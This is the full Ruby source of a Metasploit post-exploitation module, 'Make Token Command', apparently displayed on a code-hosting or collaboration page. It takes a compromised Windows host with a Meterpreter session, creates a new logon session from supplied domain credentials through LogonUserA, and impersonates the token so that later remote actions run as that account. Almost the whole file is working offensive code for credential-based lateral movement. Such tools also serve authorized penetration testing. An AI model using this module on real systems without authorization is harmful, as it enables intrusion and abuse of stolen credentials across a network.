Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  def initialize(info = {})
9
    super(
10
      update_info(
11
        info,
12
        'Name' => 'Make Token Command',
13
        'Description' => %q{
14
          In its default configuration, this module creates a new network security context with the specified
15
          logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
16
          a new logon session is created and linked to that token. The token is then impersonated to acquire
17
          the new network security context. This module has no effect on local actions - only on remote ones
18
          (where the specified credential material will be used). This module does not validate the credentials
19
          specified.
20
        },
21
        'License' => MSF_LICENSE,
22
        'Notes' => {
23
          'AKA' => ['make_token', 'maketoken'],
24
          'Stability' => [CRASH_SAFE],
25
          'Reliability' => [REPEATABLE_SESSION],
26
          'SideEffects' => [IOC_IN_LOGS]
27
        },
28
        'Platform' => ['win'],
29
        'SessionTypes' => ['meterpreter'],
30
        'Author' => [
31
          'Daniel López Jiménez (attl4s)',
32
          'Simone Salucci (saim1z)'
33
        ],
34
        'Compat' => {
35
          'Meterpreter' => {
36
            'Commands' => %w[
37
              stdapi_railgun_api
38
              stdapi_sys_config_revert_to_self
39
              stdapi_sys_config_update_token
40
            ]
41
          }
42
        }
43
      )
44
    )
45

46
    register_options(
47
      [
48
        OptString.new('DOMAIN', [true, 'Domain to use' ]),
49
        OptString.new('USERNAME', [true, 'Username to use' ]),
50
        OptString.new('PASSWORD', [true, 'Password to use' ])
51
      ]
52
    )
53

54
    register_advanced_options(
55
      [
56
        OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]),
57
      ]
58
    )
59
  end
60

61
  def run
62
    # Make sure we meet the requirements before running the script
63
    fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'
64

65
    # check/set vars
66
    user = datastore['USERNAME']
67
    password = datastore['PASSWORD']
68
    domain = datastore['DOMAIN']
69
    logontype = datastore['LOGONTYPE']
70

71
    # revert any existing impersonation before doing a new one
72
    print_status('Executing rev2self to revert any previous token impersonations')
73
    session.sys.config.revert_to_self
74

75
    # create new logon session / token pair
76
    print_status("Executing LogonUserA with the flag #{logontype} to create a new security context for #{domain}\\#{user}")
77
    logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, logontype, 'LOGON32_PROVIDER_DEFAULT', 4)
78

79
    if logon_user['return']
80
      # get the token handle
81
      ph_token = logon_user['phToken']
82
      print_status('Impersonating the new security context...')
83

84
      # store the token within the server
85
      session.sys.config.update_token(ph_token)
86
      print_good('The session should now run with the new security context!')
87

88
      # send warning
89
      if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS'
90
        print_warning('Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)')
91
      end
92
    else
93
      print_error("LogonUserA call failed, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
94
    end
95
  end
96
end
97

98